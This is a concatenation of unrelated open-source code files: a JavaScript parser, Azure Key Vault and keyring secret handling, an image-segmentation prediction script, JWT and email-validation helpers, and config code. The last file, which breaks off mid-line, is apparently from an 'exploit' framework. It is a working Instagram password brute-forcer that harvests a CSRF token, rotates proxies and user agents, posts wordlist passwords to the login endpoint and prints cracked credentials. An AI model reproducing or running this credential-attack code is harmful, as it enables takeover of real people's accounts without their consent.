t.token.assignOp: raise t.newSyntaxError("Invalid variable initialization") n2.initializer = Expression(t, x, COMMA) n2.readOnly = not not (n.type_ == CONST) n.append(n2) x.varDecls.append(n2) if not t.match(COMMA): break return n def ParenExpression(t, x): t.mustMatch(LEFT_PAREN) n = Expression(t, x) t.mustMatch(RIGHT_PAREN) return n opPrecedence = { "SEMICOLON": 0, "COMMA": 1, "ASSIGN": 2, "HOOK": 2, "COLON": 2, # The above all have to have the same precedence, see bug 330975. "OR": 4, "AND": 5, "BITWISE_OR": 6, "BITWISE_XOR": 7, "BITWISE_AND": 8, "EQ": 9, "NE": 9, "STRICT_EQ": 9, "STRICT_NE": 9, "LT": 10, "LE": 10, "GE": 10, "GT": 10, "IN": 10, "INSTANCEOF": 10, "LSH": 11, "RSH": 11, "URSH": 11, "PLUS": 12, "MINUS": 12, "MUL": 13, "DIV": 13, "MOD": 13, "DELETE": 14, "VOID": 14, "TYPEOF": 14, # "PRE_INCREMENT": 14, "PRE_DECREMENT": 14, "NOT": 14, "BITWISE_NOT": 14, "UNARY_PLUS": 14, "UNARY_MINUS": 14, "INCREMENT": 15, "DECREMENT": 15, # postfix "NEW": 16, "DOT": 17 } # Map operator type code to precedence for i in opPrecedence.copy(): opPrecedence[globals()[i]] = opPrecedence[i] opArity = { "COMMA": -2, "ASSIGN": 2, "HOOK": 3, "OR": 2, "AND": 2, "BITWISE_OR": 2, "BITWISE_XOR": 2, "BITWISE_AND": 2, "EQ": 2, "NE": 2, "STRICT_EQ": 2, "STRICT_NE": 2, "LT": 2, "LE": 2, "GE": 2, "GT": 2, "IN": 2, "INSTANCEOF": 2, "LSH": 2, "RSH": 2, "URSH": 2, "PLUS": 2, "MINUS": 2, "MUL": 2, "DIV": 2, "MOD": 2, "DELETE": 1, "VOID": 1, "TYPEOF": 1, # "PRE_INCREMENT": 1, "PRE_DECREMENT": 1, "NOT": 1, "BITWISE_NOT": 1, "UNARY_PLUS": 1, "UNARY_MINUS": 1, "INCREMENT": 1, "DECREMENT": 1, # postfix "NEW": 1, "NEW_WITH_ARGS": 2, "DOT": 2, "INDEX": 2, "CALL": 2, "ARRAY_INIT": 1, "OBJECT_INIT": 1, "GROUP": 1 } # Map operator type code to arity. for i in opArity.copy(): opArity[globals()[i]] = opArity[i] def Expression(t, x, stop=None): operators = [] operands = [] bl = x.bracketLevel cl = x.curlyLevel pl = x.parenLevel hl = x.hookLevel def reduce_(): n = operators.pop() op = n.type_ arity = opArity[op] if arity == -2: # Flatten left-associative trees. left = (len(operands) >= 2 and operands[-2]) if left.type_ == op: right = operands.pop() left.append(right) return left arity = 2 # Always use append to add operands to n, to update start and end. a = operands[-arity:] del operands[-arity:] for operand in a: n.append(operand) # Include closing bracket or postfix operator in [start,end). if n.end < t.token.end: n.end = t.token.end operands.append(n) return n class BreakOutOfLoops(Exception): pass try: while True: tt = t.get() if tt == END: break if (tt == stop and x.bracketLevel == bl and x.curlyLevel == cl and x.parenLevel == pl and x.hookLevel == hl): # Stop only if tt matches the optional stop parameter, and that # token is not quoted by some kind of bracket. break if tt == SEMICOLON: # NB: cannot be empty, Statement handled that. raise BreakOutOfLoops elif tt in (ASSIGN, HOOK, COLON): if t.scanOperand: raise BreakOutOfLoops while ((operators and opPrecedence.get(operators[-1].type_, None) > opPrecedence.get(tt)) or (tt == COLON and operators and operators[-1].type_ == ASSIGN)): reduce_() if tt == COLON: if operators: n = operators[-1] if not operators or n.type_ != HOOK: raise t.newSyntaxError("Invalid label") x.hookLevel -= 1 else: operators.append(Node(t)) if tt == ASSIGN: operands[-1].assignOp = t.token.assignOp else: x.hookLevel += 1 t.scanOperand = True elif tt in (IN, COMMA, OR, AND, BITWISE_OR, BITWISE_XOR, BITWISE_AND, EQ, NE, STRICT_EQ, STRICT_NE, LT, LE, GE, GT, INSTANCEOF, LSH, RSH, URSH, PLUS, MINUS, MUL, DIV, MOD, DOT): # We're treating comma as left-associative so reduce can fold # left-heavy COMMA trees into a single array. if tt == IN: # An in operator should not be parsed if we're parsing the # head of a for (...) loop, unless it is in the then part of # a conditional expression, or parenthesized somehow. if (x.inForLoopInit and not x.hookLevel and not x.bracketLevel and not x.curlyLevel and not x.parenLevel): raise BreakOutOfLoops if t.scanOperand: raise BreakOutOfLoops while (operators and opPrecedence.get(operators[-1].type_) >= opPrecedence.get(tt)): reduce_() if tt == DOT: t.mustMatch(IDENTIFIER) operands.append(Node(t, DOT, [operands.pop(), Node(t)])) else: operators.append(Node(t)) t.scanOperand = True elif tt in (DELETE, VOID, TYPEOF, NOT, BITWISE_NOT, UNARY_PLUS, UNARY_MINUS, NEW): if not t.scanOperand: raise BreakOutOfLoops operators.append(Node(t)) elif tt in (INCREMENT, DECREMENT): if t.scanOperand: operators.append(Node(t)) # prefix increment or decrement else: # Don't cross a line boundary for postfix {in,de}crement. if (t.tokens.get((t.tokenIndex + t.lookahead - 1) & 3).lineno != t.lineno): raise BreakOutOfLoops # Use >, not >=, so postfix has higher precedence than # prefix. while (operators and opPrecedence.get(operators[-1].type_, None) > opPrecedence.get(tt)): reduce_() n = Node(t, tt, [operands.pop()]) n.postfix = True operands.append(n) elif tt == FUNCTION: if not t.scanOperand: raise BreakOutOfLoops operands.append(FunctionDefinition(t, x, False, EXPRESSED_FORM)) t.scanOperand = False elif tt in (NULL, THIS, TRUE, FALSE, IDENTIFIER, NUMBER, STRING, REGEXP): if not t.scanOperand: raise BreakOutOfLoops operands.append(Node(t)) t.scanOperand = False elif tt == LEFT_BRACKET: if t.scanOperand: # Array initializer. Parse using recursive descent, as the # sub-grammer here is not an operator grammar. n = Node(t, ARRAY_INIT) while True: tt = t.peek() if tt == RIGHT_BRACKET: break if tt == COMMA: t.get() n.append(None) continue n.append(Expression(t, x, COMMA)) if not t.match(COMMA): break t.mustMatch(RIGHT_BRACKET) operands.append(n) t.scanOperand = False else: operators.append(Node(t, INDEX)) t.scanOperand = True x.bracketLevel += 1 elif tt == RIGHT_BRACKET: if t.scanOperand or x.bracketLevel == bl: raise BreakOutOfLoops while reduce_().type_ != INDEX: continue x.bracketLevel -= 1 elif tt == LEFT_CURLY: if not t.scanOperand: raise BreakOutOfLoops # Object initializer. As for array initializers (see above), # parse using recursive descent. x.curlyLevel += 1 n = Node(t, OBJECT_INIT) class BreakOutOfObjectInit(Exception): pass try: if not t.match(RIGHT_CURLY): while True: tt = t.get() if ((t.token.value == "get" or t.token.value == "set") and t.peek == IDENTIFIER): if x.ecmaStrictMode: raise t.newSyntaxError("Illegal property " "accessor") n.append(FunctionDefinition(t, x, True, EXPRESSED_FORM)) else: if tt in (IDENTIFIER, NUMBER, STRING): id_ = Node(t) elif tt == RIGHT_CURLY: if x.ecmaStrictMode: raise t.newSyntaxError("Illegal " "trailing ,") raise BreakOutOfObjectInit else: raise t.newSyntaxError("Invalid property " "name") t.mustMatch(COLON) n.append(Node(t, PROPERTY_INIT, [id_, Expression(t, x, COMMA)])) if not t.match(COMMA): break t.mustMatch(RIGHT_CURLY) except BreakOutOfObjectInit as e: pass operands.append(n) t.scanOperand = False x.curlyLevel -= 1 elif tt == RIGHT_CURLY: if not t.scanOperand and x.curlyLevel != cl: raise ParseError("PANIC: right curly botch") raise BreakOutOfLoops elif tt == LEFT_PAREN: if t.scanOperand: operators.append(Node(t, GROUP)) x.parenLevel += 1 else: while (operators and opPrecedence.get(operators[-1].type_) > opPrecedence[NEW]): reduce_() # Handle () now, to regularize the n-ary case for n > 0. # We must set scanOperand in case there are arguments and # the first one is a regexp or unary+/-. if operators: n = operators[-1] else: n = Object() n.type_ = None t.scanOperand = True if t.match(RIGHT_PAREN): if n.type_ == NEW: operators.pop() n.append(operands.pop()) else: n = Node(t, CALL, [operands.pop(), Node(t, LIST)]) operands.append(n) t.scanOperand = False else: if n.type_ == NEW: n.type_ = NEW_WITH_ARGS else: operators.append(Node(t, CALL)) x.parenLevel += 1 elif tt == RIGHT_PAREN: if t.scanOperand or x.parenLevel == pl: raise BreakOutOfLoops while True: tt = reduce_().type_ if tt in (GROUP, CALL, NEW_WITH_ARGS): break if tt != GROUP: if operands: n = operands[-1] if n[1].type_ != COMMA: n[1] = Node(t, LIST, [n[1]]) else: n[1].type_ = LIST else: raise ParseError("Unexpected amount of operands") x.parenLevel -= 1 # Automatic semicolon insertion means we may scan across a newline # and into the beginning of another statement. If so, break out of # the while loop and let the t.scanOperand logic handle errors. else: raise BreakOutOfLoops except BreakOutOfLoops as e: pass if x.hookLevel != hl: raise t.newSyntaxError("Missing : after ?") if x.parenLevel != pl: raise t.newSyntaxError("Missing ) in parenthetical") if x.bracketLevel != bl: raise t.newSyntaxError("Missing ] in index expression") if t.scanOperand: raise t.newSyntaxError("Missing operand") t.scanOperand = True t.unget() while operators: reduce_() return operands.pop() def parse(source, filename=None, starting_line_number=1): """Parse some Javascript Args: source: the Javascript source, as a string filename: the filename to include in messages starting_line_number: the line number of the first line of the passed in source, for output messages Returns: the parsed source code data structure Raises: ParseError """ t = Tokenizer(source, filename, starting_line_number) x = CompilerContext(False) n = Script(t, x) if not t.done: raise t.newSyntaxError("Syntax error") return n if __name__ == "__main__": result = parse(open(sys.argv[1]).read(),sys.argv[1]) print(str(result))

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msticpy/common/secret_settings.py

GiuseppeLaurenza/msticpy

0

153745

<gh_stars>0 # ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- """Settings provider for secrets.""" import re from functools import partial from typing import Any, Callable, Dict, Optional, Set, Tuple import keyring from keyring.errors import KeyringError, KeyringLocked from .._version import VERSION from . import pkg_config as config from .exceptions import MsticpyKeyVaultConfigError from .keyvault_client import BHKeyVaultClient from .keyvault_settings import KeyVaultSettings from .utility import export __version__ = VERSION __author__ = "<NAME>" @export class KeyringClient: """Keyring client wrapper.""" def __init__(self, name: str = "key-cache", debug: bool = False): """ Initialize the keyring client. Parameters ---------- name : str, optional Name of the credential group, by default "system" debug : bool, optional Output debug info, by default False """ self.debug = debug self.keyring = name self._secret_names: Set[str] = set() def __getitem__(self, key: str): """Get key name.""" cred = self.get_secret(key) if cred: return cred raise KeyError def get_secret(self, secret_name: str) -> Any: """ Retrieve a secret from the keyring. Parameters ---------- secret_name : str Secret name. Returns ------- Any Secret value. """ secret = None if self.debug: print(f"Fetching {secret_name} from keyring") try: secret = keyring.get_password(self.keyring, secret_name) except (KeyringError, KeyringLocked): if self.debug: print( "Keyring error retrieving credentials", f"for {secret_name} from keyring {self.keyring}", ) if not secret and self.debug: print("No credentials", f"for {secret_name} from keyring {self.keyring}") return secret def set_secret(self, secret_name: str, secret_value: Any): """ Set a secret in the keyring group. Parameters ---------- secret_name : str Name of the secret secret_value : Any Secret value """ if self.debug: print(f"Saving {secret_name} to keyring {self.keyring}") self._secret_names.add(secret_name) keyring.set_password(self.keyring, secret_name, secret_value) @export class SecretsClient: """Secrets client - manages keyvault and keyring secrets.""" def __init__(self, tenant_id: str = None, use_keyring: bool = True): """ Initialize SecretsClient instance. Parameters ---------- tenant_id : str, optional TenantID, by default None use_keyring : bool, optional If True use keyring to cache secrets, by default True Raises ------ MsticpyKeyVaultConfigError Missing or invalid configuration settings. Notes ----- Requires KeyVault settings to be defined in msticpyconfig.yaml """ self._kv_settings = KeyVaultSettings() self.tenant_id = tenant_id or self._kv_settings.get("tenantid") if not self.tenant_id: raise MsticpyKeyVaultConfigError( "Could not get TenantId from function parameters or configuration.", "Please add this to the KeyVault section of msticpyconfig.yaml", title="missing tenant ID value.", ) self.kv_secret_vault: Dict[str, str] = {} self.kv_vaults: Dict[str, BHKeyVaultClient] = {} self._use_keyring = use_keyring or self._kv_settings.get("UseKeyring", False) if self._use_keyring: self._keyring_client = KeyringClient("Providers") def get_secret_accessor(self, setting_path: str) -> Callable[[], Any]: """ Return accessor function for a secret. Parameters ---------- setting_path : str The msticpy configuration path (dot-separated) Returns ------- Callable[[None], Any] Accessor function for the secret value. """ vault_name, secret_name = self._get_kv_vault_and_name(setting_path) if vault_name is None or secret_name is None: return lambda: secret_name if secret_name else "" return self._get_secret_func(secret_name, vault_name) def _add_key_vault(self, vault_name: str, secret_name: str): """Add the KeyVault instance responsible for storing `secret_name`.""" vault = self.kv_vaults.get(vault_name) if not vault: vault = BHKeyVaultClient(self.tenant_id, vault_name=vault_name) self.kv_vaults[vault_name] = vault self.kv_secret_vault[secret_name] = vault_name @staticmethod def format_kv_name(setting_path): """Return normalized name for use as a KeyVault secret name.""" return re.sub("[^0-9a-zA-Z-]", "-", setting_path) def _get_kv_vault_and_name( self, setting_path: str ) -> Tuple[Optional[str], Optional[str]]: """Return the vault and secret name for a config path.""" setting_item = config.get_config(setting_path) if not isinstance(setting_item, dict): return None, str(setting_item) if "KeyVault" in setting_item: kv_val = setting_item.get("KeyVault") def_vault_name = self._kv_settings.get("VaultName") if not kv_val or kv_val.casefold() == "default": # If no value, get the default VaultName from settings # and use the setting path as the secret name if not def_vault_name: raise ValueError("No VaultName defined in KeyVault settings.") secret_name = self.format_kv_name(setting_path) return def_vault_name, secret_name if "/" in kv_val: # '/' delimited string means VaultName/Secret vault_name, secret_name = kv_val.split("/") return vault_name, self.format_kv_name(secret_name) if not def_vault_name: raise MsticpyKeyVaultConfigError( "Check that you have specified the right value for VaultName" + " in your configuration", f"No VaultName defined in KeyVault settings for {setting_path}.", title="Key Vault vault name not found.", ) # If there is a single string - take that as the secret name return def_vault_name, self.format_kv_name(kv_val) return None, None def _get_secret_func(self, secret_name: str, vault_name: str) -> Callable[[], Any]: """Return a func to access a secret.""" if self._use_keyring and self._keyring_client.get_secret(secret_name): return self._create_secret_func(self._keyring_client, secret_name) # If the secret is not in keyring, get the vault holding this secret if not self.kv_secret_vault.get(secret_name): self._add_key_vault(secret_name=secret_name, vault_name=vault_name) vault = self.kv_vaults[vault_name] if self._use_keyring: # store the secret in keyring and return an accessor # to the keyring value. self._keyring_client.set_secret(secret_name, vault.get_secret(secret_name)) return self._create_secret_func(self._keyring_client, secret_name) # if not using Keyring - return a KeyVault accessor return self._create_secret_func(vault, secret_name) @staticmethod def _create_secret_func(secret_store, secret_name): return partial(secret_store.get_secret, secret_name=secret_name) @staticmethod def read_secret(secret_object: Any) -> Any: """ Return the secret value. Parameters ---------- secret_object : Any If it is a func, call and return the return value of that func. Otherwise just return the object. Returns ------- Any The secret value """ if callable(secret_object): return secret_object() return secret_object

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predict_new.py

JiaqiWangplus77/pytorch_tiramisu

0

79248

<reponame>JiaqiWangplus77/pytorch_tiramisu #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Sep 9 15:59:06 2019 @author: <EMAIL> """ from pathlib import Path import numpy as np import matplotlib.pyplot as plt import time import datetime import torch import torch.nn as nn import torch.optim as optim import torchvision import torchvision.transforms as transforms from torch.autograd import Variable from models import tiramisu from datasets import camvid from datasets import joint_transforms import utils.imgs import utils.training_crack as train_utils import pandas as pd import cv2 import argparse import json from tqdm import tqdm from PIL import Image import os pid = os.getpid() import subprocess subprocess.Popen("renice -n 10 -p {}".format(pid),shell=True) os.environ['CUDA_VISIBLE_DEVICES'] = '1' ''' green is miss detection blue is pixel predicted to be crack, but the ground truth is not ''' ''' an example in command line python3 predict_argparse.py --CAMVID_PATH 'SegNet-Tutorial/CamVid/resized7' \ --weights_file_folder '.weights/resized7_no_weight_random_crop/' \ --weight_filename 'weights-200-0.218-0.054.pth' \ --result_folder 'output/5_without_class_weight_resized7_delete_later/' ''' if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("--CAMVID_PATH", type=str,default='SegNet-Tutorial',help="path to dataset") parser.add_argument("--batch_size", type=int, default=1, help="size of each image batch") parser.add_argument("--weights_file_folder", type=str, default=".weights/CFD/patch_training/patch8080/pn13_t10/", help="path to weight") parser.add_argument("--weight_filename", type=str, default='weights-100.pth', help="name of the weight file") parser.add_argument("--n_classes", type=int, default=2, help="number of the class") parser.add_argument("--result_folder", type=str,default='output/patch8080_pn13_t10/test', help="path to save the results") # parser.add_argument("--save_image", type=int,default=1, help="if save image or not,1 mans save,0 means no") parser.add_argument("--test_list", type=str, default='SegNet-Tutorial/CamVid/CFD/list/add_aug_test.txt', help="path to dataset") opt = parser.parse_args() print(opt) CAMVID_PATH = os.path.join(opt.CAMVID_PATH) #WEIGHTS_PATH = os.path.join('.weights/with_class_weight_and_randomcrop224/') batch_size = opt.batch_size weights_file_folder = os.path.join(opt.weights_file_folder) weight_filename = opt.weight_filename n_classes = opt.n_classes result_folder = os.path.join(opt.result_folder,weight_filename) # save_image = opt.save_image image_name = 'test_{:04d}.png' fpath = os.path.join(weights_file_folder,weight_filename) if os.path.isfile(weight_filename): raise Exception('file does not exist') os.makedirs(result_folder,exist_ok=True) ''' predict_folder = os.path.join(result_folder, 'predict') FN_folder = os.path.join(result_folder, 'FN') TP_FP_FN_folder = os.path.join(result_folder, 'TP_FP_FN') os.makedirs(predict_folder,exist_ok=True) os.makedirs(FN_folder,exist_ok=True) os.makedirs(TP_FP_FN_folder,exist_ok=True) ''' txt_file_list = [filename for filename in os.listdir(result_folder) if filename.split('.')[-1] == 'txt' ] if len(txt_file_list) > 0: for file in txt_file_list: os.remove(os.path.join(result_folder,file)) with open(os.path.join(result_folder,'basic information.txt'),'w') as f: json.dump(opt.__dict__,f,indent=2) mean = [0.50898083, 0.52446532, 0.54404199] std = [0.08326811, 0.07471673, 0.07621879] normalize = transforms.Normalize(mean=mean, std=std) test_dset = camvid.CamVid2( CAMVID_PATH, path=opt.test_list, joint_transform=None, transform=transforms.Compose([ transforms.ToTensor(), # normalize ])) test_loader = torch.utils.data.DataLoader( test_dset, batch_size=opt.batch_size, shuffle=False) model = tiramisu.FCDenseNet67(n_classes=n_classes,in_channels=3).cuda() inputs, _,_ = next(iter(test_loader)) print('evaluation image size: ', inputs.size()) #model.apply(train_utils.weights_init) train_utils.load_weights(model, fpath) c_matrix = np.zeros([n_classes,n_classes]) result_each_image = [] # for batch_i in tqdm(range(len(test_loader))): cmatrix_each = [] # for batch_i, (inputs, targets, index) in tqdm(enumerate(test_loader)): prev_time = time.time() for batch_i, (inputs, targets, index) in enumerate(test_loader): #import pdb; pdb.set_trace() #index = index.numpy() #pred_result = train_utils.view_sample_predictions_new(model, imgs, targets, n=4) data = Variable(inputs.cuda(), volatile=False) #label = Variable(targets.cuda()) with torch.no_grad(): output = model(data) pred = train_utils.get_predictions(output) batch_size = inputs.size(0) for j in range(batch_size): #img_utils.view_image(inputs[i]) # if n_classes == 2: # pred[j] = 5 * pred[j] current_time = time.time() evaluation_results = train_utils.evaluate(targets[j].unsqueeze(0), pred[j].unsqueeze(0)) c_matrix0 = train_utils.calculate_confusion_matrix(targets[j].unsqueeze(0), pred[j].unsqueeze(0), cls_num=n_classes) #current_time = time.time() inference_time = datetime.timedelta(seconds=current_time - prev_time) prev_time = current_time print("\t+ Batch %d, Inference Time: %s" % (batch_i, inference_time)) c_matrix += c_matrix0 path = index[j] c_matrix0 = list(c_matrix0.reshape(-1)) c_matrix0.insert(0,path.split('/')[-1].split('.')[0]) cmatrix_each.append(c_matrix0) image_original = np.array(Image.open(path).convert('RGB')) name = '_' + str(100 * round(evaluation_results[0][1],2)) + \ '_' + str(100 * round(evaluation_results[1][1],2)) img_name = path.split('/')[-1].split('.')[0] + name target = targets[j].cpu().numpy() prediction = pred[j].cpu().numpy() # save prediction images img = np.ones_like(image_original)*255 img = train_utils.draw_color(img,prediction,[255,0,255]) image_merged = cv2.addWeighted(image_original/255,0.7,img/255,0.3,0,dtype = cv2.CV_32F) img_combine = np.concatenate((image_original/255,image_merged), axis=0) plt.imsave(os.path.join(result_folder,img_name+'_a_predict.jpg'),img_combine) # generate TP,FP,FN images TP, FP, FN = train_utils.generation_TP_FP_FN(target,prediction,t = 5) img = np.ones_like(image_original)*255 img = train_utils.draw_color(img,FN,[0,255,0]) # save FN images image_merged = cv2.addWeighted(image_original/255,0.7,img/255,0.3,0,dtype = cv2.CV_32F) img_combine = np.concatenate((image_original/255,image_merged), axis=0) plt.imsave(os.path.join(result_folder,img_name+'_c_FN.jpg'),img_combine) img = train_utils.draw_color(img,TP,[255,0,0]) img = train_utils.draw_color(img,FP,[0,0,255]) # save TP_FP_FN images image_merged = cv2.addWeighted(image_original/255,0.7,img/255,0.3,0,dtype = cv2.CV_32F) img_combine = np.concatenate((image_original/255,image_merged), axis=0) plt.imsave(os.path.join(result_folder,img_name+'_b_TP_FP_FN.jpg'),img_combine) imag_targets = utils.imgs.view_annotated(targets[j],'targets', plot=False, class_num=6) imag_pred = utils.imgs.view_annotated(pred[j],'prediction', plot=False, class_num=6) img_combine2 = np.concatenate((image_original/255,imag_targets,imag_pred), axis=0) #plt.imsave(os.path.join(result_folder,img_name.replace('merge0','merge1')),img_combine2) print(path.split('/')[-1].split('.')[0],' finished') results = [evaluation_results[0][1],evaluation_results[1][1],evaluation_results[2][1]] results = [round(r,3) for r in results] results.insert(0,path.split('/')[-1]) result_each_image.append(results) result_each_image = np.array(result_each_image) data = pd.DataFrame({ 'index':result_each_image[:,0], 'precision':result_each_image[:,1], 'recall':result_each_image[:,2], 'f1':result_each_image[:,3], }) data.to_csv(os.path.join(result_folder,'results.csv')) cmatrix_each = np.array(cmatrix_each) data = pd.DataFrame({ 'index':cmatrix_each[:,0], 'FN':cmatrix_each[:,3], 'TP':cmatrix_each[:,4], 'FP':cmatrix_each[:,2], 'precision':result_each_image[:,1], 'recall':result_each_image[:,2], 'f1':result_each_image[:,3], }) data.to_csv(os.path.join(result_folder,'results_pixel_number.csv')) with np.errstate(divide='ignore',invalid='ignore'): precision = np.diag(c_matrix)/c_matrix.sum(axis=0) with np.errstate(divide='ignore',invalid='ignore'): recall = np.diag(c_matrix)/c_matrix.sum(axis=1) print(precision[1],recall[1]) name = opt.weight_filename +'_'+ str(int(100 * round(precision[1],2))) + \ '_' + str(int(100 * round(recall[1],2))) +'.txt' f = open(os.path.join(opt.result_folder, name),'w') f.close() #print(img_name, ' finished') # # imag_targets = utils.imgs.view_annotated(targets[j],'targets', plot=False, class_num=6) # imag_targets[-4:-1,:,:] = 1 # # imag_pred = utils.imgs.view_annotated(pred[j],'prediction', plot=False, class_num=6) # import pdb; pdb.set_trace() # # # if bool(save_image): # # #img_name = image_name.format(index[j]) # image_original = np.array(Image.open(path).convert('RGB')) # # img_name = path.split('/')[-1].split('.')[0] + '_' + str(int(1000*evaluation_results[-1])) + '.png' # img_combine = np.concatenate((image_original/255,imag_targets,imag_pred), axis=0) # plt.imsave(os.path.join(result_folder,img_name),img_combine) # #print(img_name, ' finished') ## if batch_i == 5: ## break # # result_each_image = np.array(result_each_image) # data = pd.DataFrame({ # 'index':result_each_image[:,0], # 'PA':result_each_image[:,1], # 'class_PA':result_each_image[:,2], # 'mIoU':result_each_image[:,3], # 'w_MIoU':result_each_image[:,4] # }) # data.to_csv(os.path.join(result_folder,'results.csv')) # result = np.round(train_utils.evaluate_whole_dataset(c_matrix),5) # total_iou = train_utils.IoU(c_matrix) # c_matrix = np.round(c_matrix / c_matrix.sum(),5) # #PA, class_PA, mIoU, w_MIoU] # final_result = f"evaluation results of the whole test folder: \n \ # pixel accuracy: {result[0]} \n \ # mean class pixel accuracy: {result[1]} \n \ # mIoU: {result[2]} \n \ # weighted mIoU: {result[3]} \n \ # IoU of each class:{total_iou}" # print(final_result) # # f = open(os.path.join(result_folder,'result of all test images.txt'),'w') # f.write(final_result) # f.close() # # np.savetxt(os.path.join(result_folder,'c_matrix.txt'),c_matrix, fmt='%s',newline='\n',delimiter=' ')

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13, 13, 13, 2 ]

app/core/security.py

attachemd/backend_v03

0

180319

<filename>app/core/security.py from datetime import timedelta, datetime from typing import Optional, Union, Any from passlib.context import CryptContext from jose import jwt from app.core.config import settings pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto") def get_password_hash(password: str) -> str: return pwd_context.hash(password) def verify_password( plain_password: str, hashed_password: str ) -> bool: return pwd_context.verify(plain_password, hashed_password) def create_access_token( subject: Union[str, Any], expires_delta: Optional[timedelta] = None, ): if expires_delta: expire = datetime.utcnow() + expires_delta else: expire = datetime.utcnow() + timedelta( minutes=settings.ACCESS_TOKEN_EXPIRE_MINUTES ) to_encode = {"exp": expire, **subject} return jwt.encode( to_encode, settings.SECRET_KEY, algorithm=settings.ALGORITHM )

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proper_forms/fields/email.py

jpsca/pforms

2

39416

from .text import Text from ..ftypes import type_email __all__ = ("Email", ) class Email(Text): """Validates and normalize an email address using the JoshData/python-email-validator library. Even if the format is valid, it cannot guarantee that the email is real, so the purpose of this function is to alert the user of a typing mistake. The normalizations include lowercasing the domain part of the email address (domain names are case-insensitive), unicode "NFC" normalization of the whole address (which turns characters plus combining characters into precomposed characters where possible and replaces certain unicode characters (such as angstrom and ohm) with other equivalent code points (a-with-ring and omega, respectively)), replacement of fullwidth and halfwidth characters in the domain part, and possibly other UTS46 mappings on the domain part. Options: check_dns (bool): Check if the domain name in the email address resolves. There is nothing to be gained by trying to actually contact an SMTP server, so that's not done. allow_smtputf8 (bool): Accept non-ASCII characters in the local part of the address (before the @-sign). These email addresses require that your mail submission library and the mail servers along the route to the destination, including your own outbound mail server, all support the [SMTPUTF8 (RFC 6531)](https://tools.ietf.org/html/rfc6531) extension. By default this is set to `False`. """ input_type = "email" def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.error_messages.setdefault("type", "Doesn‘t look like a valid e-mail.") def type(self, value, check_dns=False, allow_smtputf8=False): return type_email(value, check_dns=check_dns, allow_smtputf8=allow_smtputf8)

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uncluster/potential/potential_config.py

adrn/uncluster

0

186980

# vvv --- THIS IS AUTO-GENERATED CODE - see scripts/setup-potential.py --- vvv import astropy.units as u m_h = 5.4596489e+11 * u.Msun r_s = 15.7799796 * u.kpc m_n = 1.7005340e+09 * u.Msun c_n = 65.6443448 * u.pc # ^^^ --- THIS IS AUTO-GENERATED CODE - see scripts/setup-potential.py --- ^^^

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scripts/utils/__init__.py

JimCircadian/inconsistentrecords

0

88871

import configparser import logging import os from github import Github def github_conn(filename="$HOME/.github_api"): config = configparser.ConfigParser() config.read(os.path.expandvars(filename)) token = config['api']['token'] return Github(token)

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exploit/socialbrute/__mainig__.py

5l1v3r1/saydog-framework

2

127078

<filename>exploit/socialbrute/__mainig__.py # coding=utf-8 # !/usr/bin/python from __future__ import print_function from instabrute import * import argparse import logging import random import socket import sys import threading r="\x1b[91m" w="\x1b[00m" c ="\x1b[36;1m" y="\x1b[33m" try: import urllib.request as rq from urllib.error import HTTPError import urllib.parse as http_parser except ImportError: import urllib2 as rq from urllib2 import HTTPError import urllib as http_parser try: import Queue except ImportError: import queue as Queue def check_proxy(q): """ check proxy for and append to working proxies :param q: """ if not q.empty(): proxy = q.get(False) proxy = proxy.replace("\r", "").replace("\n", "") try: opener = rq.build_opener( rq.ProxyHandler({'https': 'https://' + proxy}), rq.HTTPHandler(), rq.HTTPSHandler() ) opener.addheaders = [('User-agent', 'Mozilla/5.0')] rq.install_opener(opener) req = rq.Request('https://api.ipify.org/') if rq.urlopen(req).read().decode() == proxy.partition(':')[0]: proxys_working_list.update({proxy: proxy}) if _verbose: print(c+"[+]"+w+" Successfully connected with "+proxy) else: if _verbose: print(r+"[!]"+w+" Failed to connect with "+proxy) except Exception as err: if _verbose: print(r+"[!]"+w+" Failed to connect with "+proxy) if _debug: logger.error(err) pass def get_csrf(): """ get CSRF token from login page to use in POST requests """ global csrf_token print(y+"[+]"+w+" Trying to get CSRF token ...") try: opener = rq.build_opener(rq.HTTPHandler(), rq.HTTPSHandler()) opener.addheaders = [('User-agent', 'Mozilla/5.0')] rq.install_opener(opener) request = rq.Request('https://www.instagram.com/') try: # python 2 headers = rq.urlopen(request).info().headers except Exception: # python 3 headers = rq.urlopen(request).info().get_all('Set-Cookie') for header in headers: if header.find('csrftoken') != -1: csrf_token = header.partition(';')[0].partition('=')[2] print(c+"[+]"+w+" CSRF Token : "+csrf_token) except Exception as err: print(r+"[!]"+w+" Oops, cant get CSRF token, please try again") if _debug: logger.error(err) print("[!]"" Exiting ...") exit(3) def brute(q): """ main worker function :param word: :param event: :return: """ if not q.empty(): try: proxy = None if len(proxys_working_list) != 0: proxy = random.choice(list(proxys_working_list.keys())) word = q.get() word = word.replace("\r", "").replace("\n", "") post_data = { 'username': USER, 'password': <PASSWORD>, } header = { "User-Agent": random.choice(user_agents), 'X-Instagram-AJAX': '1', "X-CSRFToken": csrf_token, "X-Requested-With": "XMLHttpRequest", "Referer": "https://www.instagram.com/", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 'Cookie': 'csrftoken=' + csrf_token } if proxy: if _verbose: print(y+"[-]"+w+" Password incorrect %s %s " % (word, proxy,)) opener = rq.build_opener( rq.ProxyHandler({'https': 'https://' + proxy}), rq.HTTPHandler(), rq.HTTPSHandler() ) else: if _verbose: print(y+"[-]"+w+" Password incorrect %s" % (word,)) opener = rq.build_opener( rq.HTTPHandler(), rq.HTTPSHandler() ) rq.install_opener(opener) req = rq.Request(URL, data=http_parser.urlencode(post_data).encode('ascii'), headers=header) sock = rq.urlopen(req) if sock.read().decode().find('"authenticated": true') != -1: print(c+"\n[+]"+w+" Successful exploitation") print(w+" Username: "+y, USER) print(w+" Password: "+y, word) found_flag = True q.queue.clear() q.task_done() except HTTPError as e: if e.getcode() == 400 or e.getcode() == 403: if e.read().decode("utf8", 'ignore').find('"checkpoint_required"') != -1: print(c+"\n[!]"+w+" Successfully login, but checkpoint") print("") print(r+"[!]"+w+" Username: "+y, USER) print(r+"[!]"+w+" Password: "+y, word) print("") found_flag = True q.queue.clear() q.task_done() return elif proxy: print(r+"[!] Error:"+w+" Proxy IP %s now is blocked by instagram" 